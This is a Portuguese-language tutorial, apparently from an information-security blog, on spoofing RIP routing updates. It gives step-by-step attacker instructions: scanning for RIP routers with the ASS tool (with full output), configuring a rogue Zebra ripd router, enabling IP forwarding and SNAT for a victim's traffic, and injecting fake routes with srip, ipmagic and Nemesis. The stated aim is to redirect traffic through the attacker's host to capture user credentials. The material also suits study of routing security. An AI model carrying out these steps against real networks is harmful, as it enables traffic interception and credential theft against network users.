Rotas falsas RIP.
Petukhov Oleg, advogado de Direito Internacional e proteção de dados pessoais, especialista em informação segurança, proteção de informações e dados pessoais.
Canal do Telegram: https://t.me/protecaodaInformacao
Grupo em Telegram: https://t.me/protecaodaInformacao1
Site: https://legascom.ru
Correio eletrónico: online@legascom.ru
#segurançadaInformação #Segurançadainformação
O protocolo RIP usa as portas 520 e UDP para operar. Os roteadores "ouvem" o tráfego em uma determinada porta. Assim, qualquer pacote do formato apropriado será aceito e processado pelo roteador. Se a autenticação RIP não for usada ou a senha estiver vazia, o invasor poderá transmitir informações de rota incorretas ao roteador, redirecionando o tráfego de rede através dos nós controlados pelo invasor.
A primeira coisa que um invasor deve começar seu ataque é identificar os roteadores que usam o protocolo RIP. Isso pode ser feito de várias maneiras.
1. Você pode ouvir o tráfego com um sniffer. A cada 30 segundos, os roteadores trocam informações de roteamento. A troca também é feita quando a topologia é alterada. Este ataque já foi implementado nas seções anteriores sobre ARP-spoofing. Deixe-me lembrá-lo apenas que, para implementá-lo, o invasor precisa estar em uma rede local.
2. Além disso, um invasor pode verificar a rede em busca de nós com uma porta UDP 520 aberta.
3. A melhor e, muitas vezes, a única solução possível é usar um analisador de pacotes especializado, que permite interceptar e analisar as atualizações das tabelas de rotas.
Esta ferramenta especializada é um utilitário com o nome simples ASS (autonomous system scanner). Este utilitário permite a busca ativa e passiva de roteadores e protocolos de roteamento. Durante o processo de digitalização, o ASS funciona no modo ativo, quando concluído, ele se transforma em passivo, que apenas escuta o tráfego. Este utilitário suporta não apenas RIP, mas também outros protocolos de roteamento, portanto, voltaremos a ele mais de uma vez no futuro.
Aqui está um exemplo de trabalho em Modo Passivo:
root@kali : # ./ass -i eth0
ASS [Autonomous System Scanner] $Revision: 1.24 $
(c) 2k++ FX <fx@phenoelit.de>;
Phenoelit (http://www.phenoelit.de)
IRPAS build XXXIX
passive listen ... (hit Ctrl-C to finish)
>>>Results>>>
Router 192.168.66.101 (RIPv2 )
RIP2 [ n/a ] unknown auth
RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 192.168.66.100
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 192.168.66.100
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.77.0/255.255.255.0, next: 0.0.0.0
(tag 0, mtr 1)
Router 192.168.66.100 (RIPv2 )
RIP2 [ n/a ] unknown auth
RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.0.1/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.105/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
E assim o utilitário funciona em modo ativo:
root@kali : # ./ass -i eth0 -A -v
ASS [Autonomous System Scanner] $Revision: 1.24 $
(c) 2k++ FX <fx@phenoelit.de>;
Phenoelit (http://www.phenoelit.de)
IRPAS build XXXIX
Scanning
+ scanning IRDP ...
+ scanning RIv1 ...
+ scanning RIPv2 ...
+ scanning IGRP ...
+ waiting for EIGRP HELLOs (12s) ...
Continuing capture ... (hit Ctrl-C to finish)
>>>Results>>>
Router 192.168.66.100 (RIPv1 RIPv2 )
RIP1 [ n/a ] 0.0.0.0 (metric 1)
RIP1 [ n/a ] 192.168.0.1 (metric 1)
RIP1 [ n/a ] 192.168.66.9 (metric 1)
RIP1 [ n/a ] 192.168.66.105 (metric 1)
RIP2 [ n/a ] unknown auth
RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.0.1/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.105/255.255.255.255, next: 0.0.0.0
(tag 0, mtr 1)
Router 192.168.66.101 (RIPv2 )
RIP2 [ n/a ] unknown auth
RIP2 [ n/a ] 0.0.0.0/0.0.0.0, next: 192.168.66.100
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.66.9/255.255.255.255, next: 192.168.66.100
(tag 0, mtr 1)
RIP2 [ n/a ] 192.168.77.0/255.255.255.0, next: 0.0.0.0
(tag 0, mtr 1)
Os exemplos acima mostram a comunicação de roteamento interceptada entre dois roteadores 192.168.66.100 e 192.168.66.101. A autenticação não é usada, caso contrário, um método como md5 seria especificado.
No exemplo a seguir, o roteador IP é o roteador de destino cujo tráfego está sendo ouvido e, com a chave – P, O número da versão do protocolo RIP 1 ou 2 é indicado.
root@kali : # ass -v -i eth0 -D <router IP> -P <1 | 2>
Assim, identificamos com sucesso roteadores que usam o protocolo RIP, sua versão, bem como o método de autenticação. Agora você pode tentar um ataque. No caso mais simples, você pode redirecionar o tráfego através do seu roteador para interceptar as credenciais do Usuário. Com isso, esquecemos o limite de 15 roteadores entre quaisquer dois nós da rede.
Para realizar um ataque, você deve primeiro configurar seu roteador falso e, em seguida, trocar informações de rota com roteadores vizinhos.
Para fazer isso, você precisa executar as configurações apropriadas em nosso roteador. Aqui está um exemplo de um arquivo de configuração que usa o protocolo RIP versão 2 e uma chave de autenticação.
!
! Zebra configuration saved from vty
! 2005/08/12 23:44:33
!
hostname legitimate.ripd
password 8 p@ssw0rd>
enable password 8 Cb/yfFsI.abqs
service advanced-vty
service password-encryption
!
!
key chain dmz_auth
key 1
key-string secret_key
!
interface eth0
description DMZ_network
ip rip authentication mode md5 auth-length old-ripd
ip rip authentication key-chain dmz_auth
!
router rip
version 2
redistribute connected
network 192.168.20.0/24
!
line vty
exec-timeout 30 0
!
Em seguida, você precisa configurar o tráfego forwarding através de seu host. Isso pode ser feito da seguinte maneira::
root@kali : # echo 1 > /proc/sys/net/ipv4/ip_forward
A próxima etapa preparatória será Configurar a tradução de endereços usando Nat (Network Address Translation). Isso é necessário para garantir que os pacotes que se dirigem para ou da máquina da vítima cheguem ao destino final, simplificando, não se percam.
root@kali : # iptables -t nat -A POSTROUTING -o eth0 -s victim_IP -j SNAT --to-source your_IP
Antes de iniciar um ataque, você precisa determinar exatamente para qual roteador você deseja enviar uma atualização RIP falsa de informações de roteamento. O destinatário deve ser um endereço unicast, não multicast, pois o ataque é muito mais fácil de detectar.
Na próxima etapa, crie um registro da rota:
router rip
version 2
default-information originate
neighbor 192.168.20.103
route 192.168.66.9/32
Agora, o tráfego da rede 192.168.77.0 / 24 para a máquina 192.168.66.9 passará pelo roteador do invasor.
Agora, após o mesmo anúncio da rede 192.168.77.0/24, novas rotas aparecerão nas tabelas de roteamento RIP. O caminho mais curto ainda é o caminho entre dois roteadores legítimos. No entanto, se um invasor de alguma forma (por exemplo, por meio de "inundação") puder desativar um canal legítimo, todo o tráfego passará por um roteador falso.
Para concluir o tópico de rotas falsas, considere mais alguns utilitários para gerar atualizações RIP regularmente. Um exemplo de um desses utilitários é o srip:
root@kali : # srip <RIP version> -n <netmask> <malicious router IP>
<targeted RIP router IP> <destination host or network IP> <metric>
onde <malicious router IP> é a máquina através da qual o tráfego é encaminhado, ou seja, o host do invasor; <destination host or network IP> é o endereço para o qual os dados são transmitidos; <metric > é geralmente usado o valor 1.
Para ajustar melhor as atualizações RIP, você pode usar o utilitário ipmagic do projeto IP Sorcery.
Aqui está um exemplo de todas as opções deste utilitário:
root@kali : #./ipmagic
Usage: ./ipmagic [options]
IP: [-is|-id|-ih|-iv|-il|-it|-io|-id|-ip]
-is: source host or address def. 127.0.0.1
-id: source destination or address def. 127.0.0.1
-ih: IP header length def. 5
-iv: IP version def. 4
-il: Time-to-Live def. 64
-it: Type-of-Service def. 0
-io: IP frag offset [(D)on't Fragment|(M)ore Fragments|(F)ragment|(N)one]
-ii: IP packet ID for fragmentation def. 0
-ip: IP protocol [TCP|UDP|ICMP|IP] def. TCP -iO: IP options
<skip>
UDP: [-us|-ud|-ul]
-us: UDP source port def. rand()
-ud: UDP destination port def. 161
-ul: UDP length
RIP: [-uR|-uRc|-uRv]
-uR: Send default RIP packet to port 520
-uRc: RIP command [RQ|RS|TN|TF|SR|TQ|TS|TA|UQ|US|UA] def. RQ
For a list of RIP commands run program with -h rip
-uRv: RIP version [1|2] def. 2
Note: Entry Tables should be used with response packets[RS|TS|US]
-uRa(1|2|etc.): RIP Entry table Address exmp. -uRa1
-uRn(1|2|etc.): RIP Entry table Netmask, exmp. -uRn2
-uRh(1|2|etc.): RIP Entry table Next Hop, exmp. -uRn(num)
-uRm(1|2|etc.): RIP Entry table Metric
-uRr(1|2|etc.): RIP Entry table Route Tag
-uRe: Add default RIP Entry table to packet
root@kali : #./ipmagic -h rip
RIP Commands [RQ|RS|TN|TF|SR|TQ|TS|TA|UQ|US|UA]
RS: Response Packet
RQ: Request Packet
TN: Trace On
TF: Trace Off
SR: Sun Reserved
TQ: Triggered Request
TR: Triggered Response
TA: Triggered Acknowledgement
UQ: Update Request
UR: Update Response
UA: Update Acknowledgment
Finalmente, outra ferramenta útil para realizar ataques ao protocolo de roteamento RIP é Nemesis. O conjunto de opções deste utilitário também é bastante rico.
root@kali : # nemesis rip help
RIP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)
RIP usage:
rip [-v (verbose)] [options]
RIP options:
-c <RIP command>
-V <RIP version>
-r <RIP routing domain>
-a <RIP address family>
-R <RIP route tag>
-i <RIP route address>
-k <RIP network address mask>
-h <RIP next hop address>
-m <RIP metric>
-P <Payload file>
UDP options:
-x <Source port>
-y <Destination port>
IP options:
-S <Source IP address>
-D <Destination IP address>
-I <IP ID>
-T <IP TTL>
-t <IP TOS>
-F <IP fragmentation options>
-F[D],[M],[R],[offset]
-O <IP options file>
Data Link Options:
-d <Ethernet device name>
-H <Source MAC address>
-M <Destination MAC address>
Uma desvantagem significativa das ferramentas descritas acima é que elas não podem enviar pacotes RIP usando autenticação. A solução pode ser quebrar a autenticação, mas falaremos sobre isso mais tarde.
